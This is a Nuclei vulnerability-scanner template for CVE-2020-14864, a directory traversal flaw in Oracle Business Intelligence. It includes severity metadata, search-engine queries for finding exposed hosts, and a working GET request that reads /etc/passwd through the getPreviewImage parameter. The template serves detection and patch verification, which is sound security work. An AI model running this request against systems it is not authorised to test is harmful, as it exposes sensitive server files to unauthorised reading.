id: CVE-2020-14864

info:
  name: Oracle Fusion - Directory Traversal/Local File Inclusion
  author: Ivo Palazzolo (@palaziv)
  severity: high
  description: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0, 12.2.1.3.0, and 12.2.1.4.0 are vulnerable to local file inclusion vulnerabilities via "getPreviewImage."
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files, execute arbitrary code, or gain unauthorized access to the system.
  remediation: |
    Apply the latest security patches and updates provided by Oracle to fix this vulnerability.
  reference:
    - http://packetstormsecurity.com/files/159748/Oracle-Business-Intelligence-Enterprise-Edition-5.5.0.0.0-12.2.1.3.0-12.2.1.4.0-LFI.html
    - https://www.oracle.com/security-alerts/cpuoct2020.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-14864
    - https://github.com/merlinepedra/nuclei-templates
    - https://github.com/sobinge/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-14864
    cwe-id: CWE-22
    epss-score: 0.94019
    epss-percentile: 0.99899
    cpe: cpe:2.3:a:oracle:business_intelligence:5.5.0.0.0:*:*:*:enterprise:*:*:*
  metadata:
    max-request: 2
    vendor: oracle
    product: business_intelligence
    shodan-query: http.title:"oracle business intelligence sign in"
    fofa-query: title="oracle business intelligence sign in"
    google-query: intitle:"oracle business intelligence sign in"
  tags: cve,cve2020,oracle,lfi,kev,packetstorm,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/analytics/saw.dll?bieehome&startPage=1'
      - '{{BaseURL}}/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201507a33719e4bdc5e3f519a17820bf92f1be75c85757ee0a6f7a4ecf4fa450a6022100cfdf5dbd21f0b9eafd53ec64930253042eecd0c1c583bc95382ea4e3342b7020:922c64590222798bb761d5b6d8e72950